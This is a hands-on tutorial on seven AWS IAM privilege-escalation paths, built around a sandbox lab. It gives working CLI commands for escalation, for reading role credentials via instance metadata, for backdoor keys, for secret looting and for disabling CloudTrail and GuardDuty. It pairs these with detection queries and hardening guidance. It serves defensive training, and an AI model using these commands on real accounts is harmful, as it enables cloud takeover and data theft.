AWS IAM Privilege Escalation: 7 Attack Paths (Hands-On Guide 2026)

·

The most valuable foothold in AWS is rarely a software CVE — it is a single over-scoped IAM action. Cloud attackers who land a leaked access key or a low-privilege role almost never stop there. They enumerate what that identity is allowed to do and look for one permission that lets them rewrite their own privileges. Rhino Security Labs catalogued 21 distinct IAM privilege-escalation methods; in real assessments a handful of them show up over and over.

This guide walks the seven most common and highest-impact paths end to end. You will build a safe, deliberately vulnerable lab three different ways (CLI, Docker toolkit, and Terraform), enumerate an identity's effective permissions, exploit each path with copy-pasteable AWS CLI, then switch to blue team and detect and harden every path with CloudTrail, GuardDuty, Athena, KQL and SPL. Run everything in a throwaway sandbox account you own.

◈ Table of Contents

01 What It Is & Why Defenders Care 02 Prerequisites & Lab Requirements 03 Method 1 — Build the Lab via CLI 04 Method 2 — Docker Attack Toolkit 05 Method 3 — Terraform Vulnerable Lab 06 Enumerating Effective Permissions 07 The 7 Attack Paths 08 Post-Exploitation & Persistence 09 Detection & Hunt Queries 10 Defense & Hardening 11 Troubleshooting 12 Sources & References
🎯

01 · What It Is & Why Defenders Care

Phase 1 / 12

IAM privilege escalation is the act of turning a limited AWS identity — an IAM user, an assumed role, or a set of leaked long-term keys — into one with substantially more power, up to and including full Action:"*" Resource:"*" administrator. Unlike a memory-corruption exploit, it needs no vulnerability in AWS itself. The "bug" is a policy the account owner wrote: a wildcard action, an unscoped iam:PassRole, an over-broad managed policy, or a trust policy that trusts too much.

This matters to defenders because it is the pivot that connects an initial-access event to a breach. A key leaked in a public GitHub commit or a compromised CI runner is only worth as much as the permissions behind it — until the attacker escalates. Every path below leaves a distinct, greppable trail in CloudTrail, and most trigger AWS GuardDuty. If your SOC understands the offensive mechanics, the detection content in Phase 9 stops being abstract.

The techniques map cleanly to MITRE ATT&CK for Cloud, primarily under Privilege Escalation (TA0004) and Persistence (TA0003). Here is the framing we will use throughout:

ATT&CK IDTechniqueHow it appears in these paths
T1098Account ManipulationAttachUserPolicy, PutUserPolicy, AddUserToGroup, CreateAccessKey
T1098.001Additional Cloud CredentialsCreateAccessKey / CreateLoginProfile on another principal
T1548Abuse Elevation ControlCreatePolicyVersion / SetDefaultPolicyVersion
T1078.004Valid Accounts: CloudAssuming a role after loosening its trust policy
T1651Cloud Administration CommandPassRole + RunInstances / Lambda code execution

LEGAL & SCOPE: Only run these techniques in an AWS account you own or are explicitly contracted to test. Privilege escalation against third-party accounts is a criminal offence in most jurisdictions. Use a dedicated sandbox account, tag every lab resource, and tear it down when finished.

🔑

LEAKED KEY TRIAGE

IR teams scoping a leaked access key need to know, fast, whether that identity could have reached admin. The enumeration in Phase 6 answers it in seconds.

🧪

PENTEST / RED TEAM

Cloud pentesters use these seven paths as a checklist against any set of harvested credentials before reaching for anything noisier.

🛡️

DETECTION ENGINEERING

Blue teams turn each CloudTrail signature into an analytic. Understanding the attack removes false positives from the rules.

📋

POLICY REVIEW

The dangerous-permission table below is a review aid: grep your account's policies for these actions and treat any hit as escalation-capable.

🧰

02 · Prerequisites & Lab Requirements

Phase 2 / 12

You need a sandbox AWS account, the AWS CLI v2, and a small tooling stack. Nothing here costs meaningful money if you stay in the free tier and tear the lab down; the one exception is if you actually launch the EC2 instance in Path 5, so use a t3.micro and terminate it.

ComponentMinimumNotes
AWS accountDedicated sandboxNever a production or shared account. An AWS Organizations member account you can close afterwards is ideal.
Admin bootstrap identityAdministratorAccessUsed once to build the lab and to clean up. Keep it separate from the low-priv attacker identity.
AWS CLIv2.15+Run aws --version. v2 handles SSO and named profiles cleanly.
Python3.9+For Pacu, enumerate-iam, and PMapper.
Docker24+ (optional)For the containerised toolkit in Method 2. Docker Compose v2 plugin.
Terraform / OpenTofu1.6+ (optional)For the reproducible lab in Method 3.
jqlatestParsing JSON from the CLI. apt install jq or brew install jq.

TIP: Enable CloudTrail and GuardDuty in the sandbox before you attack. Half the value of this lab is watching your own exploits light up the detections in Phase 9. A management-event trail is free for the first copy in each account.

Install the AWS CLI v2 on Linux and confirm the version:

# Install AWS CLI v2 (Linux x86_64) $ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" $ unzip awscliv2.zip && sudo ./aws/install $ aws --version # aws-cli/2.15.x Python/3.12 Linux/...

Configure two named profiles — one admin (to build/clean the lab) and one that will hold the attacker's low-privilege keys once you create them:

$ aws configure --profile lab-admin # paste the sandbox AdministratorAccess key/secret + region (e.g. us-east-1) $ aws sts get-caller-identity --profile lab-admin # confirms the account id you are about to build the lab in

Double-check the account id from get-caller-identity before every build/destroy command. Running the attach-admin or delete steps against the wrong profile is the classic self-inflicted incident.

🏗️

03 · Method 1 — Build the Lab via CLI

Phase 3 / 12

The fastest lab is a single low-privilege user whose policy contains exactly one over-scoped action per path you want to try. We will grant several so you can run all seven paths from one identity, but in the real world you usually find just one.

S1
Create the low-privilege attacker user
setup
Create an IAM user with programmatic keys and no console access. This user is your "compromised" identity for the rest of the guide.
$ aws iam create-user --user-name iam-lowpriv --profile lab-admin $ aws iam create-access-key --user-name iam-lowpriv --profile lab-admin # save AccessKeyId + SecretAccessKey into a new 'attacker' profile: $ aws configure --profile attacker $ aws sts get-caller-identity --profile attacker # .../iam-lowpriv — this is the identity we will escalate
S2
Attach the deliberately loose policy
setup
This inline policy grants the exact IAM actions each path abuses. In a real account you would typically see a subset — for example a "developer" policy that carries iam:PassRole and lambda:*. Note the wildcard resources: that is the misconfiguration.
# save as lowpriv-policy.json { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Action": [ "iam:List*", "iam:Get*", "iam:CreatePolicyVersion", "iam:SetDefaultPolicyVersion", "iam:AttachUserPolicy", "iam:AttachRolePolicy", "iam:PutUserPolicy", "iam:AddUserToGroup", "iam:CreateAccessKey", "iam:UpdateAssumeRolePolicy", "iam:PassRole", "ec2:RunInstances", "ec2:DescribeInstances", "lambda:CreateFunction", "lambda:InvokeFunction", "sts:AssumeRole" ], "Resource": "*" }] }
$ aws iam put-user-policy --user-name iam-lowpriv \ --policy-name lowpriv-loose --policy-document file://lowpriv-policy.json \ --profile lab-admin

Granting all of these to one user is a lab convenience, not a realistic single finding. When you write up a real engagement, tie each escalation to the one specific action that enabled it.

S3
Seed the target role and managed policy
setup
Several paths need something to aim at: a privileged role that can be passed to compute, and a customer-managed policy the attacker can version. Create both.
# A privileged role EC2/Lambda can assume (PassRole target) $ aws iam create-role --role-name app-privileged-role \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":["ec2.amazonaws.com","lambda.amazonaws.com"]},"Action":"sts:AssumeRole"}]}' \ --profile lab-admin $ aws iam attach-role-policy --role-name app-privileged-role \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile lab-admin $ aws iam create-instance-profile --instance-profile-name app-privileged-role --profile lab-admin $ aws iam add-role-to-instance-profile --instance-profile-name app-privileged-role \ --role-name app-privileged-role --profile lab-admin # A customer-managed policy attached to the low-priv user (CreatePolicyVersion target) $ aws iam create-policy --policy-name shared-app-policy \ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"s3:GetObject","Resource":"*"}]}' \ --profile lab-admin $ aws iam attach-user-policy --user-name iam-lowpriv \ --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/shared-app-policy --profile lab-admin
Lab ready when
  • attacker profile resolves to iam-lowpriv via get-caller-identity
  • app-privileged-role exists with an instance profile of the same name
  • shared-app-policy is attached to iam-lowpriv
  • CloudTrail + GuardDuty are enabled in the region
🐳

04 · Method 2 — Docker Attack Toolkit

Phase 4 / 12

Rather than polluting your host with Python tooling, run the enumeration and exploitation stack in a container. This compose file bundles Pacu (Rhino Security Labs' AWS exploitation framework), the AWS CLI, and PMapper into one reproducible image and mounts your credentials read-only.

S1
docker-compose.yml for the cloud attack toolkit
setup
Save this as docker-compose.yml. It mounts ~/.aws read-only so the container can use your named profiles without copying secrets into the image, and keeps loot in a local ./loot volume.
services: cloudtoolkit: image: python:3.12-slim container_name: aws-privesc-lab working_dir: /work environment: - AWS_PROFILE=attacker - AWS_REGION=us-east-1 volumes: - ${HOME}/.aws:/root/.aws:ro # credentials, read-only - ./loot:/work/loot # exfil / output command: tail -f /dev/null # keep alive; exec in
# Bring it up and install the tooling inside the container $ docker compose up -d $ docker compose exec cloudtoolkit bash # pip install awscli pacu principalmapper enumerate-iam # aws sts get-caller-identity # uses the mounted attacker profile # pacu # drops into the Pacu session shell

TIP: Mounting credentials read-only (:ro) means a buggy or malicious module in the container cannot rewrite your local ~/.aws/credentials. Treat any third-party cloud tooling as untrusted and network-isolate the container when testing unknown modules.

S2
Drive Pacu against the lab
setup
Inside the Pacu shell, import your keys and run the built-in permission enumeration and privilege-escalation scanner. Pacu automates much of what the next phases do by hand — but you should understand the manual path first.
Pacu> import_keys attacker Pacu> run iam__enum_permissions Pacu> run iam__privesc_scan --offline # iam__privesc_scan reports which of ~20 known paths this identity can take
📦

05 · Method 3 — Terraform Vulnerable Lab

Phase 5 / 12

For a repeatable, tear-down-in-one-command lab, describe it as code. This is how you would provision the same environment for a team exercise or a CI-gated detection test. OpenTofu works identically if you prefer the open-source fork.

S1
main.tf — one-command vulnerable IAM lab
setup
This mirrors the CLI build: a low-priv user with a loose inline policy plus a privileged role. Apply with the admin profile, then feed the generated key into your attacker profile.
provider "aws" { profile = "lab-admin" region = "us-east-1" } resource "aws_iam_user" "lowpriv" { name = "iam-lowpriv" } resource "aws_iam_access_key" "lowpriv" { user = aws_iam_user.lowpriv.name } resource "aws_iam_user_policy" "loose" { name = "lowpriv-loose" user = aws_iam_user.lowpriv.name policy = jsonencode({ Version = "2012-10-17", Statement = [{ Effect = "Allow", Action = ["iam:*", "lambda:CreateFunction", "lambda:InvokeFunction", "ec2:RunInstances", "sts:AssumeRole"], Resource = "*" }] }) } resource "aws_iam_role" "privileged" { name = "app-privileged-role" assume_role_policy = jsonencode({ Version = "2012-10-17", Statement = [{ Effect = "Allow", Action = "sts:AssumeRole", Principal = { Service = ["ec2.amazonaws.com", "lambda.amazonaws.com"] } }] }) } resource "aws_iam_role_policy_attachment" "admin" { role = aws_iam_role.privileged.name policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess" } output "access_key_id" { value = aws_iam_access_key.lowpriv.id } output "secret_access_key" { value = aws_iam_access_key.lowpriv.secret sensitive = true }
$ terraform init && terraform apply -auto-approve $ terraform output -raw secret_access_key # feed into: aws configure --profile attacker # when finished with the whole guide: $ terraform destroy -auto-approve # one-command teardown

Terraform writes the secret access key into terraform.tfstate in plaintext. Keep state local, add it to .gitignore, and delete it after teardown. Never commit lab state to a repo.

🔍

06 · Enumerating Effective Permissions

Phase 6 / 12

Before exploiting anything, an attacker asks one question: what can this identity actually do? The answer decides which of the seven paths is viable. There are three enumeration styles — read your own policies, brute-force with a wordlist, and build a graph.

E1
Confirm identity and read attached policies
recon
If iam:Get* / iam:List* are allowed (common for developer identities), you can read your permissions directly — the quietest option.
$ aws sts get-caller-identity --profile attacker $ aws iam list-attached-user-policies --user-name iam-lowpriv --profile attacker $ aws iam list-user-policies --user-name iam-lowpriv --profile attacker $ aws iam get-user-policy --user-name iam-lowpriv \ --policy-name lowpriv-loose --profile attacker | jq '.PolicyDocument'
E2
Dump the full account authorization set
recon
If you can read account-wide, get-account-authorization-details returns every user, role, group and policy in one call — the single most useful offline artefact for mapping escalation paths.
$ aws iam get-account-authorization-details --profile attacker > aad.json # find every principal that can pass a role — a PassRole hotlist: $ jq '.. | objects | select(.Action? // [] | tostring | test("PassRole"))' aad.json
E3
Brute-force permissions with enumerate-iam
recon
When you cannot read your own policy, brute-force it. enumerate-iam fires hundreds of harmless read/list API calls and records which ones return success — revealing effective permissions without any iam:Get*.
$ git clone https://github.com/andresriancho/enumerate-iam && cd enumerate-iam $ python3 enumerate-iam.py --access-key AKIA... --secret-key ... # -- prints e.g.: iam.list_roles() worked, lambda.list_functions() worked ...

Brute-force enumeration is loud. Each probe is a separate CloudTrail event, and a burst of hundreds of Describe*/List* calls from one key in seconds is exactly what GuardDuty's Discovery findings and the Phase 9 volume analytic key on.

E4
Graph the paths with PMapper
recon
PMapper (NCC Group) models the account as a graph of "who can reach admin" and computes escalation edges automatically. It is the fastest way to prove blast radius to a client — or to your own leadership.
$ pip install principalmapper $ pmapper --profile attacker graph create $ pmapper --profile attacker query \ 'preset privesc user/iam-lowpriv' # -- reports the exact edge chain from iam-lowpriv to an admin principal

TIP: PMapper's preset privesc output is defensible evidence. Attach the generated graph to a finding so reviewers see the full chain, not just "the policy is broad".

Dangerous permissionWhat it grantsPath #
iam:CreatePolicyVersionRewrite a managed policy you are attached to1
iam:SetDefaultPolicyVersionRevert a policy to an older, broader version1
iam:AttachUserPolicy / AttachRolePolicyAttach AdministratorAccess to self or a role2
iam:PutUserPolicyWrite an inline admin policy on yourself3
iam:AddUserToGroupJoin an existing privileged group4
iam:PassRole + ec2:RunInstancesLaunch EC2 with a privileged instance profile5
iam:PassRole + lambda:CreateFunction/InvokeFunctionRun code as a privileged role6
iam:UpdateAssumeRolePolicy + sts:AssumeRoleTrust yourself into a privileged role7
iam:CreateAccessKey / CreateLoginProfileMint credentials for another (admin) principal7 / persistence
💥

07 · The 7 Attack Paths

Phase 7 / 12

Each path below is self-contained: the enabling permission, the exact CLI, and what you verify to confirm escalation. Run them from the attacker profile. Every command here maps to a specific CloudTrail eventName that Phase 9 hunts.

Seven independent single-action paths, each converging on full administrator
P1
iam:CreatePolicyVersion — rewrite your own policy
T1548
If you hold iam:CreatePolicyVersion on a customer-managed policy attached to you, publish a new version granting *:* and set it as default. AWS keeps five versions; use --set-as-default to activate instantly.
$ aws iam create-policy-version --profile attacker \ --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/shared-app-policy \ --set-as-default \ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' # verify: you now have admin $ aws iam list-users --profile attacker # previously denied, now works

TIP: If CreatePolicyVersion is denied but SetDefaultPolicyVersion is allowed, list existing versions — an older, broader version may already exist. Reverting to it (set-default-policy-version --version-id v1) escalates with zero new policy content written.

P2
iam:AttachUserPolicy — attach AdministratorAccess
T1098
The bluntest path. If you can attach managed policies to yourself, attach the AWS-managed AdministratorAccess ARN. One call, instant admin. The same works with AttachRolePolicy against a role you control.
$ aws iam attach-user-policy --profile attacker \ --user-name iam-lowpriv \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess $ aws iam list-attached-user-policies --user-name iam-lowpriv --profile attacker # AdministratorAccess now listed — escalation confirmed
P3
iam:PutUserPolicy — inline admin
T1098
Inline policies are attached directly to the principal and are easy to overlook in reviews. With PutUserPolicy you write your own admin grant without touching any managed policy.
$ aws iam put-user-policy --profile attacker \ --user-name iam-lowpriv --policy-name inline-admin \ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

Inline policies do not appear in list-attached-user-policies — a defender must also run list-user-policies. Attackers rely on that blind spot; make sure your review scripts check both.

P4
iam:AddUserToGroup — join a privileged group
T1098
If a group in the account already carries broad permissions (an "Admins" or "Ops" group is common), adding yourself to it inherits every attached policy — no new policy document needed.
$ aws iam list-groups --profile attacker $ aws iam list-attached-group-policies --group-name Admins --profile attacker $ aws iam add-user-to-group --group-name Admins \ --user-name iam-lowpriv --profile attacker
P5
iam:PassRole + ec2:RunInstances — steal role creds via metadata
T1651
If you can pass a privileged role to a new EC2 instance and launch it, the instance receives that role's credentials in its metadata service. SSH/SSM in, read IMDSv2, and you now hold admin session tokens.
$ aws ec2 run-instances --profile attacker \ --image-id ami-0abcdef1234567890 --instance-type t3.micro \ --iam-instance-profile Name=app-privileged-role \ --key-name lab-key --count 1 # once on the instance, pull role creds from IMDSv2: $ TOKEN=$(curl -sX PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 300") $ curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/app-privileged-role # returns AccessKeyId / SecretAccessKey / Token for the admin role

This path actually spends money and leaves an instance running. In a lab, use t3.micro and aws ec2 terminate-instances immediately after you read the credentials.

P6
iam:PassRole + Lambda — run code as a privileged role
T1651
Quieter and cheaper than EC2. Create a Lambda with the privileged role attached, then invoke it. The function code runs with the role's permissions — have it perform the escalation (e.g. attach admin to your user) or return its own credentials.
# handler.py — runs as app-privileged-role when invoked import boto3 def handler(event, context): boto3.client("iam").attach_user_policy( UserName="iam-lowpriv", PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess") return "escalated"
$ zip function.zip handler.py $ aws lambda create-function --profile attacker \ --function-name privesc-fn --runtime python3.12 --handler handler.handler \ --role arn:aws:iam::<ACCOUNT_ID>:role/app-privileged-role \ --zip-file fileb://function.zip $ aws lambda invoke --profile attacker --function-name privesc-fn out.json # iam-lowpriv now has AdministratorAccess attached by the function
P7
iam:UpdateAssumeRolePolicy + sts:AssumeRole — trust yourself in
T1078.004
If you can edit a privileged role's trust policy, rewrite it to trust your own user, then assume it. You inherit the role's permissions as a fresh session — and the trust change is easy to miss in review.
$ aws iam update-assume-role-policy --profile attacker \ --role-name app-privileged-role \ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::<ACCOUNT_ID>:user/iam-lowpriv"},"Action":"sts:AssumeRole"}]}' $ aws sts assume-role --profile attacker \ --role-arn arn:aws:iam::<ACCOUNT_ID>:role/app-privileged-role \ --role-session-name esc # export the returned temporary creds and you are operating as the admin role
Escalation confirmed when
  • a previously denied privileged call (e.g. iam:CreateUser) now succeeds
  • get-caller-identity reflects the assumed role ARN or admin-attached user
  • the change is visible in CloudTrail within ~5 minutes
🕳️

08 · Post-Exploitation & Persistence

Phase 8 / 12

Reaching admin is the milestone; what a real intruder does next is what causes the breach. These are the moves defenders should expect immediately after any successful escalation — and they are the highest-signal detections.

X1
Mint a backdoor access key on another admin
T1098.001
Rather than rely on the escalated user (which may get remediated), attackers create a second access key on an existing admin principal — quiet, and survives cleanup of the original identity. IAM users are limited to two keys, so a sudden second key on a dormant admin is a strong signal.
$ aws iam create-access-key --user-name break-glass-admin --profile attacker # or grant console access to a service account that never had it: $ aws iam create-login-profile --user-name svc-batch \ --password '<temp>' --no-password-reset-required --profile attacker
X2
Loot secrets and data stores
T1552
With admin, the objective is usually data or credentials. Secrets Manager, SSM Parameter Store, and S3 are the first stops. Each read is a CloudTrail event and, for Secrets Manager, a high-value hunt target.
$ aws secretsmanager list-secrets --profile attacker | jq -r '.SecretList[].Name' $ aws ssm get-parameters-by-path --path / --recursive \ --with-decryption --profile attacker $ aws s3 ls --profile attacker
X3
Blind the defenders
T1562
Sophisticated actors try to stop the very telemetry that catches everything above — disabling CloudTrail, suspending GuardDuty, or deleting the detector. Any of these is a critical, page-someone alert; a legitimate admin almost never does it ad hoc.
# what attackers attempt — and what you MUST alert on: aws cloudtrail stop-logging # StopLogging aws cloudtrail delete-trail # DeleteTrail aws guardduty delete-detector # DeleteDetector aws guardduty update-detector --no-enable

These four events are the single most important defensive tripwire in this entire guide. If CloudTrail logging stops or a GuardDuty detector is deleted outside a change window, treat it as an active compromise until proven otherwise.

📡

09 · Detection & Hunt Queries

Phase 9 / 12

Every path leaves CloudTrail evidence. The highest-fidelity analytic correlates an IAM-mutating call with an immediate privileged action from the same principal. Below: the raw event signatures, then the same detection in Athena SQL (native CloudTrail), KQL (Microsoft Sentinel via the AWS connector), and SPL (Splunk AWS Add-on).

PathCloudTrail eventNameFidelity
1CreatePolicyVersion, SetDefaultPolicyVersionhigh
2AttachUserPolicy, AttachRolePolicyhigh
3PutUserPolicyhigh
4AddUserToGroupmedium
5RunInstances (+ iamInstanceProfile)medium
6CreateFunction, Invokemedium
7UpdateAssumeRolePolicy, AssumeRolehigh
persistCreateAccessKey, CreateLoginProfilecritical
D1
Athena — hunt IAM escalation events in CloudTrail
athena
If CloudTrail logs land in S3, query them directly with Athena. This finds every escalation-relevant IAM mutation and highlights the ones that were denied (recon) vs. succeeded (compromise).
Athena SQL — finds IAM policy/role mutations tied to escalation
SELECT eventtime, useridentity.arn AS actor, eventname, errorcode, sourceipaddress FROM cloudtrail_logs WHERE eventname IN ( 'CreatePolicyVersion','SetDefaultPolicyVersion', 'AttachUserPolicy','AttachRolePolicy','PutUserPolicy', 'AddUserToGroup','UpdateAssumeRolePolicy', 'CreateAccessKey','CreateLoginProfile') AND eventtime > to_iso8601(current_timestamp - interval '24' hour) ORDER BY eventtime DESC;
D2
Sentinel KQL — escalate-then-use correlation
kql
The strongest signal is a policy mutation followed within minutes by a newly-possible privileged call from the same identity. This KQL joins the two over the Sentinel AWSCloudTrail table.
KQL (Microsoft Sentinel) — finds a self-escalation followed by privileged use
let escalation = dynamic(["CreatePolicyVersion","AttachUserPolicy", "AttachRolePolicy","PutUserPolicy","AddUserToGroup", "UpdateAssumeRolePolicy","SetDefaultPolicyVersion"]); AWSCloudTrail | where EventName in (escalation) | where isempty(ErrorCode) | project escTime=TimeGenerated, Actor=UserIdentityArn, EventName, SourceIpAddress | join kind=inner ( AWSCloudTrail | where EventName in ("CreateUser","CreateAccessKey","PutUserPolicy","DeleteTrail") | project useTime=TimeGenerated, Actor=UserIdentityArn, UsedEvent=EventName ) on Actor | where useTime between (escTime .. (escTime + 10m)) | project escTime, Actor, EventName, UsedEvent, useTime, SourceIpAddress
D3
Splunk SPL — the same correlation
spl
For the Splunk AWS Add-on (sourcetype=aws:cloudtrail), this transaction-style search groups escalation and use by principal and flags the pair inside a short window.
SPL (Splunk) — escalation event followed by privileged use, same ARN
index=cloudtrail sourcetype=aws:cloudtrail (eventName=CreatePolicyVersion OR eventName=AttachUserPolicy OR eventName=PutUserPolicy OR eventName=UpdateAssumeRolePolicy OR eventName=AddUserToGroup OR eventName=CreateAccessKey) errorCode=success | transaction userIdentity.arn maxspan=10m | search eventcount > 1 | table _time userIdentity.arn eventName sourceIPAddress eventcount

TIP: Suppress noise by allow-listing your IaC pipeline's role ARN (Terraform/CloudFormation legitimately calls these APIs). Alert only when the actor is a human user or an unexpected role — that single filter removes most false positives.

D4
GuardDuty findings & auto-response
guardduty
GuardDuty ships managed detections for exactly these behaviours — no rule-writing needed. Wire the findings to EventBridge for automated containment.
Relevant GuardDuty finding types
# escalation / admin abuse PrivilegeEscalation:IAMUser/AdministrativePermissions Policy:IAMUser/RootCredentialUsage # credential exfil / anomalous use UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS CredentialAccess:IAMUser/AnomalousBehavior # defense evasion Stealth:IAMUser/CloudTrailLoggingDisabled Stealth:IAMUser/PasswordPolicyChange
# EventBridge rule → auto-disable a compromised key via Lambda/SSM $ aws events put-rule --name gd-privesc-response \ --event-pattern '{"source":["aws.guardduty"],"detail":{"type":["PrivilegeEscalation:IAMUser/AdministrativePermissions"]}}'
🛡️

10 · Defense & Hardening

Phase 10 / 12

Detection catches the attack in progress; hardening removes the path. Work top-down: deny the escalation actions where you can, scope the ones you cannot remove, and keep a proactive review loop so new loose policies surface fast.

H1
Scope iam:PassRole with PassedToService
least-priv
Unscoped iam:PassRole on * is the root cause of Paths 5 and 6. Bind it to specific roles and to the specific service that may receive them, so a developer who can pass a role to Lambda cannot pass it to EC2.
{ "Effect": "Allow", "Action": "iam:PassRole", "Resource": "arn:aws:iam::<ACCOUNT_ID>:role/app-lambda-exec", "Condition": { "StringEquals": { "iam:PassedToService": "lambda.amazonaws.com" } } }
H2
Cap identities with permission boundaries
boundary
A permission boundary sets the maximum permissions an identity can ever have, even if it attaches AdministratorAccess to itself. Boundaries neutralise Paths 1–4: the escalation call succeeds but the effective permission is still capped.
$ aws iam put-user-permissions-boundary --user-name iam-lowpriv \ --permissions-boundary arn:aws:iam::<ACCOUNT_ID>:policy/dev-boundary --profile lab-admin # the boundary policy denies iam:* mutations and admin actions

TIP: Require a permission boundary on every identity created by developers via an SCP condition (iam:PermissionsBoundary must be present on CreateUser/CreateRole). This stops the "create a fresh unbounded admin user" bypass.

H3
Block escalation actions org-wide with SCPs
scp
Service Control Policies apply to every principal in an Organizations account, including root. Deny the highest-risk IAM mutations outside a controlled break-glass role.
{ "Effect": "Deny", "Action": ["iam:CreatePolicyVersion","iam:SetDefaultPolicyVersion", "iam:UpdateAssumeRolePolicy","cloudtrail:StopLogging", "cloudtrail:DeleteTrail","guardduty:DeleteDetector"], "Resource": "*", "Condition": { "StringNotLike": { "aws:PrincipalArn": "arn:aws:iam::*:role/OrgBreakGlass" } } }
H4
Find loose policies before attackers do
review
Run a proactive review loop. IAM Access Analyzer flags unused permissions and external access; Cloudsplaining scores your policies for the exact escalation actions in the Phase 6 table; PMapper proves reachability.
$ aws accessanalyzer create-analyzer --analyzer-name org-unused \ --type ACCOUNT_UNUSED_ACCESS --profile lab-admin $ pip install cloudsplaining $ aws iam get-account-authorization-details --profile lab-admin > aad.json $ cloudsplaining scan --input-file aad.json # HTML report ranks every policy by privilege-escalation & resource-exposure risk
H5
Baseline detective controls
detective
Make the telemetry non-optional. A multi-region CloudTrail with log-file validation, GuardDuty enabled org-wide, and AWS Config rules for IAM drift give you both the Phase 9 signal and evidence integrity.
Minimum detective baseline
  • Multi-region CloudTrail with log-file validation, delivered to a locked S3 bucket
  • GuardDuty enabled in every region via an Organizations delegated admin
  • Config managed rules: iam-user-no-policies-check, iam-policy-no-statements-with-admin-access
  • Alerts on StopLogging / DeleteTrail / DeleteDetector routed to on-call
  • MFA enforced on all human users; long-term keys rotated or replaced with roles
🧯

11 · Troubleshooting

Phase 11 / 12

The most common friction when running this lab is not the exploit — it is the CLI errors that mask an actual denial or a missing dependency. Work through these before assuming a path "does not work."

Error / symptomLikely causeFix
AccessDenied on the escalation callThe identity lacks that specific action, or a permission boundary / SCP is denying itRe-run enumeration (E1–E4); check for boundaries with get-user and any org SCP
MalformedPolicyDocumentShell mangled the JSON quotingUse --policy-document file://policy.json instead of inline single quotes
LimitExceeded on CreatePolicyVersionThe policy already has 5 versionsDelete an old version, or pivot to SetDefaultPolicyVersion on an existing broad version
RunInstances: invalid instance profileInstance profile not created or not yet propagatedCreate the instance profile and add the role; wait ~10s for IAM propagation
AssumeRole denied after UpdateAssumeRolePolicyTrust-policy change not yet propagated, or wrong account id in the principal ARNWait up to a minute; verify the ARN account id matches your sandbox
Lambda InvalidParameterValueException (role)Newly created role not yet assumable by LambdaRetry after a few seconds; IAM role propagation lags the create call
enumerate-iam shows nothingKeys inactive, wrong region, or clock skewConfirm with get-caller-identity; check the key is Active and system time is correct
No CloudTrail events appearManagement events lag delivery, or no trail existsAllow up to 15 min; confirm a multi-region trail is logging management events

When you finish, tear the lab down: detach/delete the loose policy, delete iam-lowpriv and its keys, delete app-privileged-role and its instance profile, and terminate any EC2 instance. If you built with Terraform, terraform destroy handles all of it.

📚

12 · Sources & References

Phase 12 / 12

Primary references for the techniques, tooling and detections in this guide:

Rhino Security Labs — AWS IAM Privilege Escalation: 21 Methods & Mitigation Hacking the Cloud — IAM Privilege Escalation techniques AWS Docs — IAM roles for EC2 & instance profiles (PassRole) AWS Docs — iam:PassedToService and policy condition operators AWS Docs — GuardDuty IAM finding types Pacu — AWS exploitation framework (Rhino Security Labs) PMapper — Principal Mapper (NCC Group) enumerate-iam — IAM permission brute-forcer Cloudsplaining — IAM policy risk scanner (Salesforce) MITRE ATT&CK — Cloud (IaaS) matrix

◈ Test Your Own Blast Radius

Ran the seven paths in the lab? Now point the enumeration at your real accounts before an attacker does. Use CyberHawk's IOC Scanner and Live Tools for threat validation, and read the paired defensive playbooks on the SOPs page — including AWS IAM key compromise and CloudTrail suspicious-API response. Escalation is a policy problem; find the loose action first.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."